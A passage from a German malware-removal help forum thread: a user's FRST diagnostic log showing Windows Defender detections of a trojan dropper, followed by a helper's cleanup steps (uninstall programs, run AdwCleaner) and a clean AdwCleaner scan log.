wird.) CustomCLSID: HKU\S-1-5-21-2182537211-1894200014-2545026951-1001_Classes\CLSID\{1019ADC7-17CB-4489-AFD5-6642C7400ACE}\localserver32 -> C:\Users\jessi\AppData\Local\Webex\Webex\Applications\ptOIEx64.exe (Cisco WebEx LLC -> Cisco WebEx LLC) CustomCLSID: HKU\S-1-5-21-2182537211-1894200014-2545026951-1001_Classes\CLSID\{19A6E644-14E6-4A60-B8D7-DD20610A871D}\InprocServer32 -> C:\Users\jessi\AppData\Local\Microsoft\TeamsMeetingAddin\1.0.20091.2\x64\Microsoft.Teams.AddinLoader.dll (Microsoft Corporation -> Microsoft Corporation) CustomCLSID: HKU\S-1-5-21-2182537211-1894200014-2545026951-1001_Classes\CLSID\{BCA9D37C-CA60-4160-9115-97A00F24702D}\localserver32 -> C:\Users\jessi\AppData\Local\Vivaldi\Application\3.5.2115.81\notification_helper.exe (Vivaldi Technologies AS -> Vivaldi Technologies AS) CustomCLSID: HKU\S-1-5-21-2182537211-1894200014-2545026951-1001_Classes\CLSID\{CB965DF1-B8EA-49C7-BDAD-5457FDC1BF92}\InprocServer32 -> C:\Users\jessi\AppData\Local\Microsoft\TeamsMeetingAddin\1.0.20091.2\x64\Microsoft.Teams.AddinLoader.dll (Microsoft Corporation -> Microsoft Corporation) ==================== Codecs (Nicht auf der Ausnahmeliste) ==================== ==================== Verknüpfungen & WMI ======================== ==================== Geladene Module (Nicht auf der Ausnahmeliste) ============= 2020-12-31 04:24 - 2020-12-31 04:24 - 042499072 _____ (Intel Corporation) [Datei ist nicht signiert] C:\Program Files\WindowsApps\AppUp.IntelGraphicsExperience_1.100.3282.0_x64__8j3eq9eme6ctt\IGCC.dll ==================== Alternate Data Streams (Nicht auf der Ausnahmeliste) ======== ==================== Abgesicherter Modus (Nicht auf der Ausnahmeliste) ================== ==================== Verknüpfungen (Nicht auf der Ausnahmeliste) ================= ==================== Internet Explorer (Nicht auf der Ausnahmeliste) ========== HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://asus17win10.msn.com/?pc=ASTE HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://asus17win10.msn.com/?pc=ASTE SearchScopes: HKU\S-1-5-21-2182537211-1894200014-2545026951-1001 -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = SearchScopes: HKU\S-1-5-21-2182537211-1894200014-2545026951-1001 -> {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = BHO: Skype for Business Browser Helper -> {31D09BA0-12F5-4CCE-BE8A-2923E76605DA} -> C:\Program Files\Microsoft Office\root\Office16\OCHelper.dll [2021-01-18] (Microsoft Corporation -> Microsoft Corporation) BHO: Citavi Picker -> {609D670F-B735-4da7-AC6D-F3BD358E325E} -> C:/Program Files (x86)/Internet Explorer/Citavi Picker/x64/SwissAcademic.Citavi.IEPicker.DLL => Keine Datei BHO-x32: Skype for Business Browser Helper -> {31D09BA0-12F5-4CCE-BE8A-2923E76605DA} -> C:\Program Files\Microsoft Office\root\VFS\ProgramFilesX86\Microsoft Office\Office16\OCHelper.dll [2021-01-18] (Microsoft Corporation -> Microsoft Corporation) Handler: mso-minsb-roaming.16 - {83C25742-A9F7-49FB-9138-434302C88D07} - C:\Program Files\Microsoft Office\root\Office16\MSOSB.DLL [2021-01-18] (Microsoft Corporation -> Microsoft Corporation) Handler-x32: mso-minsb-roaming.16 - {83C25742-A9F7-49FB-9138-434302C88D07} - C:\Program Files\Microsoft Office\root\VFS\ProgramFilesX86\Microsoft Office\Office16\MSOSB.DLL [2021-01-18] (Microsoft Corporation -> Microsoft Corporation) Handler: mso-minsb.16 - {42089D2D-912D-4018-9087-2B87803E93FB} - C:\Program Files\Microsoft Office\root\Office16\MSOSB.DLL [2021-01-18] (Microsoft Corporation -> Microsoft Corporation) Handler-x32: mso-minsb.16 - {42089D2D-912D-4018-9087-2B87803E93FB} - C:\Program Files\Microsoft Office\root\VFS\ProgramFilesX86\Microsoft Office\Office16\MSOSB.DLL [2021-01-18] (Microsoft Corporation -> Microsoft Corporation) Handler: osf-roaming.16 - {42089D2D-912D-4018-9087-2B87803E93FB} - C:\Program Files\Microsoft Office\root\Office16\MSOSB.DLL [2021-01-18] (Microsoft Corporation -> Microsoft Corporation) Handler-x32: osf-roaming.16 - {42089D2D-912D-4018-9087-2B87803E93FB} - C:\Program Files\Microsoft Office\root\VFS\ProgramFilesX86\Microsoft Office\Office16\MSOSB.DLL [2021-01-18] (Microsoft Corporation -> Microsoft Corporation) Handler: osf.16 - {5504BE45-A83B-4808-900A-3A5C36E7F77A} - C:\Program Files\Microsoft Office\root\Office16\MSOSB.DLL [2021-01-18] (Microsoft Corporation -> Microsoft Corporation) Handler-x32: osf.16 - {5504BE45-A83B-4808-900A-3A5C36E7F77A} - C:\Program Files\Microsoft Office\root\VFS\ProgramFilesX86\Microsoft Office\Office16\MSOSB.DLL [2021-01-18] (Microsoft Corporation -> Microsoft Corporation) (Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt.) IE trusted site: HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\...\sharepoint.com -> hxxps://technischeunivers049-files.sharepoint.com ==================== Hosts Inhalt: ========================= (Wenn benötigt kann der Hosts: Schalter in die Fixlist aufgenommen werden um die Hosts Datei zurückzusetzen.) 2019-03-19 05:49 - 2019-03-19 05:49 - 000000824 _____ C:\Windows\system32\drivers\etc\hosts ==================== Andere Bereiche =========================== (Aktuell gibt es keinen automatisierten Fix für diesen Bereich.) HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\Control Panel\Desktop\\Wallpaper -> C:\Users\jessi\Downloads\4k-space-wallpaper-1.jpg DNS Servers: 192.168.178.1 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System => (ConsentPromptBehaviorAdmin: 5) (ConsentPromptBehaviorUser: 3) (EnableLUA: 1) HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer => (SmartScreenEnabled: ) ist aktiviert. ==================== MSCONFIG/TASK MANAGER Deaktivierte Einträge == (Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er entfernt.) HKLM\...\StartupApproved\Run: => "SecurityHealth" HKLM\...\StartupApproved\Run32: => "TeamsMachineInstaller" HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\...\StartupApproved\Run: => "CiscoMeetingDaemon" HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\...\StartupApproved\Run: => "com.squirrel.Teams.Teams" HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\...\StartupApproved\Run: => "OneDrive" HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\...\StartupApproved\Run: => "DeepL" HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\...\StartupApproved\Run: => "Skype for Desktop" HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\...\StartupApproved\Run: => "Lync" HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\...\StartupApproved\Run: => "Spotify" HKU\S-1-5-21-2182537211-1894200014-2545026951-1001\...\StartupApproved\Run: => "CCleaner Smart Cleaning" ==================== Firewall Regeln (Nicht auf der Ausnahmeliste) ================ (Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.) FirewallRules: [{314DDE01-4AB2-42AE-9EF7-56B6AA653774}] => (Allow) C:\Program Files\Microsoft Office\root\Office16\Lync.exe (Microsoft Corporation -> Microsoft Corporation) FirewallRules: [{BB8B31A9-A583-4E9E-80DD-F0E4193858B9}] => (Allow) C:\Program Files\Microsoft Office\root\Office16\Lync.exe (Microsoft Corporation -> Microsoft Corporation) FirewallRules: [{5E777899-5AE3-4431-B194-2B6A3E387EE5}] => (Allow) C:\Program Files\Microsoft Office\root\Office16\UcMapi.exe (Microsoft Corporation -> Microsoft Corporation) FirewallRules: [{96FEB28D-105C-465F-A350-C3B272ED0049}] => (Allow) C:\Program Files\Microsoft Office\root\Office16\UcMapi.exe (Microsoft Corporation -> Microsoft Corporation) FirewallRules: [TCP Query User{DAF641A7-D2B5-44B7-B47C-B02E3404482D}C:\users\jessi\appdata\roaming\spotify\spotify.exe] => (Allow) C:\users\jessi\appdata\roaming\spotify\spotify.exe (Spotify AB -> Spotify Ltd) FirewallRules: [UDP Query User{CABD1B16-7080-4DE4-8F1C-DA547B3F570D}C:\users\jessi\appdata\roaming\spotify\spotify.exe] => (Allow) C:\users\jessi\appdata\roaming\spotify\spotify.exe (Spotify AB -> Spotify Ltd) FirewallRules: [{57D20E3B-0F94-48E1-8508-7323E0CDEBCA}] => (Allow) C:\Program Files\Mozilla Firefox\firefox.exe (Mozilla Corporation -> Mozilla Corporation) FirewallRules: [{1C90DA8F-CD37-4671-8ADB-790A267C7ABF}] => (Allow) C:\Program Files\Mozilla Firefox\firefox.exe (Mozilla Corporation -> Mozilla Corporation) FirewallRules: [{72C38057-63FF-4CF5-A259-F2D6E7CFC39B}] => (Allow) C:\Program Files\WindowsApps\Microsoft.SkypeApp_15.61.100.0_x86__kzf8qxf38zg5c\Skype\Skype.exe (Skype Software Sarl -> Skype Technologies S.A.) FirewallRules: [{FF462F5B-D11D-4D94-B413-C328BC8940BD}] => (Allow) C:\Program Files\WindowsApps\Microsoft.SkypeApp_15.61.100.0_x86__kzf8qxf38zg5c\Skype\Skype.exe (Skype Software Sarl -> Skype Technologies S.A.) FirewallRules: [{971E442F-CEAF-4A02-B87C-7E0A08D2865D}] => (Allow) C:\Program Files\WindowsApps\Microsoft.SkypeApp_15.61.100.0_x86__kzf8qxf38zg5c\Skype\Skype.exe (Skype Software Sarl -> Skype Technologies S.A.) FirewallRules: [{EE20548E-8239-44C0-89F7-AFCD6D615216}] => (Allow) C:\Program Files\WindowsApps\Microsoft.SkypeApp_15.61.100.0_x86__kzf8qxf38zg5c\Skype\Skype.exe (Skype Software Sarl -> Skype Technologies S.A.) FirewallRules: [{1A5BE691-403D-4723-BBBB-2B26EB8D1BE9}] => (Allow) C:\Users\jessi\AppData\Roaming\Zoom\bin\Zoom.exe (Zoom Video Communications, Inc. -> Zoom Video Communications, Inc.) FirewallRules: [{7DC2776D-0053-4C7F-BBEA-AE1D555B122E}] => (Allow) C:\Users\jessi\AppData\Roaming\Zoom\bin\airhost.exe => Keine Datei FirewallRules: [{377ED8D6-FBB5-4E05-89D1-0405E687D0D7}] => (Allow) C:\Users\jessi\AppData\Roaming\Zoom\bin\airhost.exe => Keine Datei FirewallRules: [{9AEDC5CA-398D-4378-8AE9-9748E4A10C54}] => (Allow) C:\Program Files (x86)\Microsoft\Skype for Desktop\Skype.exe (Skype Software Sarl -> Skype Technologies S.A.) FirewallRules: [{F78111E4-72A8-498D-B946-B72FB7511032}] => (Allow) C:\Program Files (x86)\Microsoft\Skype for Desktop\Skype.exe (Skype Software Sarl -> Skype Technologies S.A.) FirewallRules: [TCP Query User{B69BE705-D212-41FC-880E-2B4D9B90E3AA}C:\program files\rstudio\bin\rsession.exe] => (Allow) C:\program files\rstudio\bin\rsession.exe (RStudio, PBC) [Datei ist nicht signiert] FirewallRules: [UDP Query User{97F470A4-73D9-427E-B33A-E05848E683C8}C:\program files\rstudio\bin\rsession.exe] => (Allow) C:\program files\rstudio\bin\rsession.exe (RStudio, PBC) [Datei ist nicht signiert] FirewallRules: [{FC3211AB-58AA-47C0-810C-B80874EBE697}] => (Allow) C:\Program Files\HP\HP Deskjet 3520 series\Bin\DeviceSetup.exe (Hewlett Packard -> Hewlett-Packard Co.) FirewallRules: [{68293385-D780-47D1-AFED-4E965E6378C0}] => (Allow) C:\Program Files\HP\HP Deskjet 3520 series\Bin\HPNetworkCommunicator.exe (Hewlett Packard -> Hewlett-Packard Co.) FirewallRules: [{C5D83B9B-2E1A-4F7C-9F2E-1467FF827EC4}] => (Allow) C:\Program Files\HP\HP Deskjet 3520 series\Bin\HPNetworkCommunicatorCom.exe (Hewlett Packard -> Hewlett-Packard Co.) FirewallRules: [{07B8283C-DA40-4090-BB25-2EA63E0E2D7C}] => (Allow) C:\Program Files\Microsoft Office\root\Office16\outlook.exe (Microsoft Corporation -> Microsoft Corporation) FirewallRules: [TCP Query User{BB162DC7-6742-411C-90D4-9FC2B8B5262F}C:\users\jessi\appdata\local\vivaldi\application\vivaldi.exe] => (Block) C:\users\jessi\appdata\local\vivaldi\application\vivaldi.exe (Vivaldi Technologies AS -> Vivaldi Technologies AS) FirewallRules: [UDP Query User{46672B0E-B520-4907-9913-0975A3BFF697}C:\users\jessi\appdata\local\vivaldi\application\vivaldi.exe] => (Block) C:\users\jessi\appdata\local\vivaldi\application\vivaldi.exe (Vivaldi Technologies AS -> Vivaldi Technologies AS) FirewallRules: [{702DEAC0-D2B5-4928-B3FA-AC7E44255C72}] => (Allow) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe (Google LLC -> Google LLC) FirewallRules: [{7A767E13-D4D4-43BF-855A-5CD6B17E6922}] => (Allow) C:\Windows\System32\DriverStore\FileRepository\asussci2.inf_amd64_206cee59ee512fde\ASUSLinkNear\AsusLinkNear.exe (ASUSTek Computer Inc. -> ASUSTek Computer Inc.) FirewallRules: [{66D2F84A-50AF-4CB9-A1CA-3D8E8D13E150}] => (Allow) C:\Windows\System32\DriverStore\FileRepository\asussci2.inf_amd64_206cee59ee512fde\ASUSLinkRemote\AsusLinkRemoteAgent.exe (ASUSTek Computer Inc. -> ASUSTeK COMPUTER INC.) FirewallRules: [{7CF2CA57-0FE1-46D2-BA79-2B7F448838C9}] => (Allow) C:\Windows\System32\DriverStore\FileRepository\asussci2.inf_amd64_206cee59ee512fde\ASUSLinkRemote\AsusLinkRemoteAgent.exe (ASUSTek Computer Inc. -> ASUSTeK COMPUTER INC.) ==================== Wiederherstellungspunkte ========================= ACHTUNG: Systemwiederherstellung ist deaktiviert (Total:118.34 GB) (Free:28.52 GB) (24%) ==================== Fehlerhafte Geräte im Gerätemanager ============ ==================== Fehlereinträge in der Ereignisanzeige: ======================== Applikationsfehler: ================== Error: (02/09/2021 01:38:48 PM) (Source: Application Error) (EventID: 1000) (User: ) Description: Name der fehlerhaften Anwendung: ImagingDevices.exe, Version: 10.0.18362.1, Zeitstempel: 0x5fcdec8b Name des fehlerhaften Moduls: unknown, Version: 0.0.0.0, Zeitstempel: 0x00000000 Ausnahmecode: 0xc0000005 Fehleroffset: 0x02cf40b3 ID des fehlerhaften Prozesses: 0x25a0 Startzeit der fehlerhaften Anwendung: 0x01d6fe0e893c0002 Pfad der fehlerhaften Anwendung: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Pfad des fehlerhaften Moduls: unknown Berichtskennung: e19592b2-1f11-409d-b347-9c8f22833063 Vollständiger Name des fehlerhaften Pakets: Anwendungs-ID, die relativ zum fehlerhaften Paket ist: Error: (02/08/2021 10:07:44 AM) (Source: Application Error) (EventID: 1000) (User: ) Description: Name der fehlerhaften Anwendung: ImagingDevices.exe, Version: 10.0.18362.1, Zeitstempel: 0x5fcdec8b Name des fehlerhaften Moduls: unknown, Version: 0.0.0.0, Zeitstempel: 0x00000000 Ausnahmecode: 0xc0000005 Fehleroffset: 0x03095f49 ID des fehlerhaften Prozesses: 0x255c Startzeit der fehlerhaften Anwendung: 0x01d6fda85e1e4855 Pfad der fehlerhaften Anwendung: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Pfad des fehlerhaften Moduls: unknown Berichtskennung: a3892609-3c23-4913-a8b1-e6af170ca221 Vollständiger Name des fehlerhaften Pakets: Anwendungs-ID, die relativ zum fehlerhaften Paket ist: Error: (02/07/2021 09:06:23 PM) (Source: Application Hang) (EventID: 1002) (User: ) Description: Das Programm krita.exe Version 0.0.0.0 hat die Interaktion mit Windows beendet und wurde geschlossen. Überprüfen Sie den Problemverlauf in der Systemsteuerung "Sicherheit und Wartung", um nach weiteren Informationen zum Problem zu suchen. Prozess-ID: ed0 Startzeit: 01d6fcc05acafb8f Beendigungszeit: 2033 Anwendungspfad: C:\Program Files\Krita (x64)\bin\krita.exe Bericht-ID: f4ecb404-444e-4121-bdd0-2f0db9a65acd Vollständiger Name des fehlerhaften Pakets: Relative Anwendungs-ID des fehlerhaften Pakets: Absturztyp: Unknown Error: (02/07/2021 06:14:20 PM) (Source: Application Error) (EventID: 1000) (User: ) Description: Name der fehlerhaften Anwendung: igfxEM.exe, Version: 6.15.100.8141, Zeitstempel: 0x5e91ee97 Name des fehlerhaften Moduls: ntdll.dll, Version: 10.0.18362.1316, Zeitstempel: 0x45a49e53 Ausnahmecode: 0xc0000374 Fehleroffset: 0x00000000000f9059 ID des fehlerhaften Prozesses: 0xfe0 Startzeit der fehlerhaften Anwendung: 0x01d6f5236f579d8c Pfad der fehlerhaften Anwendung: C:\Windows\System32\DriverStore\FileRepository\cui_dch.inf_amd64_cb5b3ac4d6a4f65a\igfxEM.exe Pfad des fehlerhaften Moduls: C:\Windows\SYSTEM32\ntdll.dll Berichtskennung: 6f8ea183-10c2-40b3-bfc3-cb30f3bc3a61 Vollständiger Name des fehlerhaften Pakets: Anwendungs-ID, die relativ zum fehlerhaften Paket ist: Error: (02/07/2021 07:48:28 AM) (Source: Application Error) (EventID: 1000) (User: ) Description: Name der fehlerhaften Anwendung: WindowsInternal.ComposableShell.Experiences.TextInput.InputApp.e, Version: 10.0.18362.1198, Zeitstempel: 0x5f9c9281 Name des fehlerhaften Moduls: WindowsInternal.ComposableShell.Experiences.TextInput.dll, Version: 10.0.18362.1171, Zeitstempel: 0x5f7fdcb5 Ausnahmecode: 0xc0000409 Fehleroffset: 0x000000000037bcde ID des fehlerhaften Prozesses: 0x22ec Startzeit der fehlerhaften Anwendung: 0x01d6f578c8b872c6 Pfad der fehlerhaften Anwendung: C:\Windows\SystemApps\InputApp_cw5n1h2txyewy\WindowsInternal.ComposableShell.Experiences.TextInput.InputApp.exe Pfad des fehlerhaften Moduls: C:\Windows\TextInput\WindowsInternal.ComposableShell.Experiences.TextInput.dll Berichtskennung: 3188d1d0-8a7a-4b3a-8033-49113a6b6386 Vollständiger Name des fehlerhaften Pakets: InputApp_1000.18362.449.0_neutral_neutral_cw5n1h2txyewy Anwendungs-ID, die relativ zum fehlerhaften Paket ist: App Error: (01/31/2021 04:30:24 PM) (Source: Microsoft-Windows-Spell-Checking) (EventID: 31) (User: DESKTOP-3CDKKUQ) Description: Fehler beim Aktualisieren der benutzerdefinierten Wortliste "1": -2147024864. Die Rechtschreibprüfung ist weiterhin verfügbar, diese Benutzerwortliste wird jedoch nicht aktualisiert. Error: (01/30/2021 12:46:53 PM) (Source: Application Error) (EventID: 1000) (User: ) Description: Name der fehlerhaften Anwendung: Microsoft.Photos.exe, Version: 2020.20110.11001.0, Zeitstempel: 0x5fac1c27 Name des fehlerhaften Moduls: Windows.UI.Xaml.dll, Version: 10.0.18362.1316, Zeitstempel: 0xaefa6537 Ausnahmecode: 0xc000027b Fehleroffset: 0x0000000000712bf0 ID des fehlerhaften Prozesses: 0x4b08 Startzeit der fehlerhaften Anwendung: 0x01d6f6fd91c9b130 Pfad der fehlerhaften Anwendung: C:\Program Files\WindowsApps\Microsoft.Windows.Photos_2020.20110.11001.0_x64__8wekyb3d8bbwe\Microsoft.Photos.exe Pfad des fehlerhaften Moduls: C:\Windows\System32\Windows.UI.Xaml.dll Berichtskennung: 6a16589c-23b3-449c-9f24-53eb9eda9303 Vollständiger Name des fehlerhaften Pakets: Microsoft.Windows.Photos_2020.20110.11001.0_x64__8wekyb3d8bbwe Anwendungs-ID, die relativ zum fehlerhaften Paket ist: App Error: (01/29/2021 07:23:34 PM) (Source: Application Error) (EventID: 1000) (User: ) Description: Name der fehlerhaften Anwendung: ImagingDevices.exe, Version: 10.0.18362.1, Zeitstempel: 0x5fcdec8b Name des fehlerhaften Moduls: unknown, Version: 0.0.0.0, Zeitstempel: 0x00000000 Ausnahmecode: 0xc0000005 Fehleroffset: 0x00b240b3 ID des fehlerhaften Prozesses: 0x2fd8 Startzeit der fehlerhaften Anwendung: 0x01d6f56122b2c5bc Pfad der fehlerhaften Anwendung: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Pfad des fehlerhaften Moduls: unknown Berichtskennung: 7f9af76c-50cb-4634-ac03-f99bd4055200 Vollständiger Name des fehlerhaften Pakets: Anwendungs-ID, die relativ zum fehlerhaften Paket ist: Systemfehler: ============= Error: (02/09/2021 12:49:32 PM) (Source: Microsoft-Windows-NDIS) (EventID: 10317) (User: ) Description: Für den Miniport "Microsoft Wi-Fi Direct Virtual Adapter #2, {57b2417f-d4ae-4aba-98bd-5f2c2397bc9d}" ist das Ereignis "74" aufgetreten. Error: (02/09/2021 11:37:03 AM) (Source: Microsoft-Windows-NDIS) (EventID: 10317) (User: ) Description: Für den Miniport "Microsoft Wi-Fi Direct Virtual Adapter #2, {57b2417f-d4ae-4aba-98bd-5f2c2397bc9d}" ist das Ereignis "74" aufgetreten. Error: (02/08/2021 03:03:08 PM) (Source: Microsoft-Windows-NDIS) (EventID: 10317) (User: ) Description: Für den Miniport "Microsoft Wi-Fi Direct Virtual Adapter #2, {57b2417f-d4ae-4aba-98bd-5f2c2397bc9d}" ist das Ereignis "74" aufgetreten. Error: (02/08/2021 12:29:59 PM) (Source: Microsoft-Windows-NDIS) (EventID: 10317) (User: ) Description: Für den Miniport "Microsoft Wi-Fi Direct Virtual Adapter #2, {57b2417f-d4ae-4aba-98bd-5f2c2397bc9d}" ist das Ereignis "74" aufgetreten. Error: (02/07/2021 08:59:08 PM) (Source: Netwtw08) (EventID: 5002) (User: ) Description: Intel(R) Wireless-AC 9560 160MHz : Fehlfunktion des Netzwerkadapters wurde ermittelt. 5002 - uCode SW error (SysAssert, NMI) Error: (02/07/2021 08:59:08 PM) (Source: Netwtw08) (EventID: 5002) (User: ) Description: Intel(R) Wireless-AC 9560 160MHz : Fehlfunktion des Netzwerkadapters wurde ermittelt. 5002 - uCode SW error (SysAssert, NMI) Error: (02/06/2021 06:50:26 PM) (Source: Netwtw08) (EventID: 5002) (User: ) Description: Intel(R) Wireless-AC 9560 160MHz : Fehlfunktion des Netzwerkadapters wurde ermittelt. 5002 - uCode SW error (SysAssert, NMI) Error: (02/06/2021 06:50:26 PM) (Source: Netwtw08) (EventID: 5002) (User: ) Description: Intel(R) Wireless-AC 9560 160MHz : Fehlfunktion des Netzwerkadapters wurde ermittelt. 5002 - uCode SW error (SysAssert, NMI) Windows Defender: =================================== Date: 2021-02-09 17:03:55.334 Description: Windows Defender Antivirus hat Schadsoftware oder andere potenziell unerwünschte Software erkannt. Weitere Informationen: https://go.microsoft.com/fwlink/?linkid=37020&name=TrojanDropper:Win64/Tnega!MSR&threatid=2147771646&enterprise=0 Name: TrojanDropper:Win64/Tnega!MSR ID: 2147771646 Schweregrad: Schwerwiegend Kategorie: Trojaner - Dropper Pfad: file:_C:\Users\jessi\AppData\Local\Temp\GetX64BTIT.exe Erkennungsursprung: Lokaler Computer Erkennungstype: Konkret Erkennungsquelle: Echtzeitschutz Benutzer: DESKTOP-3CDKKUQ\jessi Prozessname: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Sicherheitsversion: AV: 1.331.554.0, AS: 1.331.554.0, NIS: 1.331.554.0 Modulversion: AM: 1.1.17800.5, NIS: 1.1.17800.5 Date: 2021-02-08 19:22:06.422 Description: Die Windows Defender Antivirus-Überprüfung wurde vor ihrem Abschluss beendet. Überprüfungs-ID: {FCE1BE1F-5BEF-4E17-885C-EB0F0FC39B4A} Überprüfungstyp: Antimalware Überprüfungsparameter: Schnellüberprüfung Benutzer: NT-AUTORITÄT\SYSTEM Date: 2021-02-08 12:35:44.792 Description: Windows Defender Antivirus hat Schadsoftware oder andere potenziell unerwünschte Software erkannt. Weitere Informationen: https://go.microsoft.com/fwlink/?linkid=37020&name=TrojanDropper:Win64/Tnega!MSR&threatid=2147771646&enterprise=0 Name: TrojanDropper:Win64/Tnega!MSR ID: 2147771646 Schweregrad: Schwerwiegend Kategorie: Trojaner - Dropper Pfad: file:_C:\Users\jessi\AppData\Local\Temp\GetX64BTIT.exe Erkennungsursprung: Lokaler Computer Erkennungstype: Konkret Erkennungsquelle: Echtzeitschutz Benutzer: DESKTOP-3CDKKUQ\jessi Prozessname: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Sicherheitsversion: AV: 1.331.471.0, AS: 1.331.471.0, NIS: 1.331.471.0 Modulversion: AM: 1.1.17800.5, NIS: 1.1.17800.5 Date: 2021-02-08 00:24:23.929 Description: Windows Defender Antivirus hat Schadsoftware oder andere potenziell unerwünschte Software erkannt. Weitere Informationen: https://go.microsoft.com/fwlink/?linkid=37020&name=TrojanDropper:Win64/Tnega!MSR&threatid=2147771646&enterprise=0 Name: TrojanDropper:Win64/Tnega!MSR ID: 2147771646 Schweregrad: Schwerwiegend Kategorie: Trojaner - Dropper Pfad: file:_C:\Users\jessi\AppData\Local\Temp\GetX64BTIT.exe Erkennungsursprung: Lokaler Computer Erkennungstype: Konkret Erkennungsquelle: Echtzeitschutz Benutzer: DESKTOP-3CDKKUQ\jessi Prozessname: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Sicherheitsversion: AV: 1.331.416.0, AS: 1.331.416.0, NIS: 1.331.416.0 Modulversion: AM: 1.1.17800.5, NIS: 1.1.17800.5 Date: 2021-02-07 02:58:06.052 Description: Die Windows Defender Antivirus-Überprüfung wurde vor ihrem Abschluss beendet. Überprüfungs-ID: {991C2C3A-2EAE-4F8D-96FD-21AD3F133EC4} Überprüfungstyp: Antimalware Überprüfungsparameter: Schnellüberprüfung Benutzer: NT-AUTORITÄT\SYSTEM ==================== Speicherinformationen =========================== BIOS: American Megatrends Inc. TP412FA.304 12/18/2019 Hauptplatine: ASUSTeK COMPUTER INC. TP412FA Prozessor: Intel(R) Pentium(R) CPU 5405U @ 2.30GHz Prozentuale Nutzung des RAM: 90% Installierter physikalischer RAM: 3811.75 MB Verfügbarer physikalischer RAM: 363.85 MB Summe virtueller Speicher: 10723.75 MB Verfügbarer virtueller Speicher: 4875.96 MB ==================== Laufwerke ================================ Drive c: (OS) (Fixed) (Total:118.34 GB) (Free:28.52 GB) NTFS \\?\Volume{38659697-ae6a-43bf-8da8-c90d44b2ed2e}\ (RECOVERY) (Fixed) (Total:0.63 GB) (Free:0.23 GB) NTFS \\?\Volume{6ac10536-38c4-4a9a-b162-44959aafa562}\ (SYSTEM) (Fixed) (Total:0.25 GB) (Free:0.22 GB) FAT32 ==================== MBR & Partitionstabelle ==================== ========================================================== Disk: 0 (Size: 119.2 GB) (Disk ID: 306CC410) Partition: GPT. ==================== Ende von Addition.txt ======================= Geändert von misterwiesel (09.02.2021 um 21:29 Uhr) |
09.02.2021, 23:30 | #2 |
/// Winkelfunktion /// TB-Süch-Tiger™ | Windows 10 / TrojanDropper:Win64/Tnega!MSR zweiter Versuch Wir sind hier in letzter Zeit durch ein paar "besondere" Patienten ein wenig genervt und die Nerven sind in diesen Zeiten eh grade nicht die besten. Auf die Idee, dass man ein fremdes Log kopiert und einfügt muss man auch erstmal kommen
__________________Störende, veraltete oder unnötige Programme deinstallieren Bitte über Programme und Features (appwiz.cpl) deinstallieren: Adobe Acrobat Reader DC Adobe Flash Player 32 PPAPI CCleaner GIMP 2.10.18 Google Chrome
__________________ |
09.02.2021, 23:46 | #3 |
| Windows 10 / TrojanDropper:Win64/Tnega!MSR zweiter Versuch Die Programme habe ich deinstalliert, danke.
__________________Ich wollte die ohnehin gereizten Nerven nicht noch weiter strapazieren. Was ist nun zu tun? |
10.02.2021, 00:06 | #4 |
/// Winkelfunktion /// TB-Süch-Tiger™ | Windows 10 / TrojanDropper:Win64/Tnega!MSR zweiter Versuch adwCleaner Führe AdwCleaner gemäß der bebilderten Anleitung aus und poste abschließend die Logdatei in CODE-Tags. adwcleaner zwecks Kontrolle bitte wiederholen, falls es Funde gab.
__________________ Logfiles bitte immer in CODE-Tags posten |
10.02.2021, 00:16 | #5 |
| Windows 10 / TrojanDropper:Win64/Tnega!MSR zweiter Versuch Hier die gewünschte Datei Code:
ATTFilter # ------------------------------- # Malwarebytes AdwCleaner 8.0.9.1 # ------------------------------- # Build: 01-20-2021 # Database: 2021-01-26.1 (Cloud) # Support: https://www.malwarebytes.com/support # # ------------------------------- # Mode: Scan # ------------------------------- # Start: 02-10-2021 # Duration: 00:00:19 # OS: Windows 10 Home # Scanned: 31956 # Detected: 0 ***** [ Services ] ***** No malicious services found. ***** [ Folders ] ***** No malicious folders found. ***** [ Files ] ***** No malicious files found. ***** [ DLL ] ***** No malicious DLLs found. ***** [ WMI ] ***** No malicious WMI found. ***** [ Shortcuts ] ***** No malicious shortcuts found. ***** [ Tasks ] ***** No malicious tasks found. ***** [ Registry ] ***** No malicious registry entries found. ***** [ Chromium (and derivatives) ] ***** No malicious Chromium entries found. ***** [ Chromium URLs ] ***** No malicious Chromium URLs found. ***** [ Firefox (and derivatives) ] ***** No malicious Firefox entries found. ***** [ Firefox URLs ] ***** No malicious Firefox URLs found. ***** [ Hosts File Entries ] ***** No malicious hosts file entries found. ***** [ Preinstalled Software ] ***** No Preinstalled Software found. AdwCleaner[S00].txt - [1490 octets] - [14/12/2020 22:11:39] AdwCleaner[C00].txt - [1660 octets] - [14/12/2020 22:15:02] ########## EOF - C:\AdwCleaner\Logs\AdwCleaner[S01].txt ########## |
10.02.2021, 01:01 | #6 |
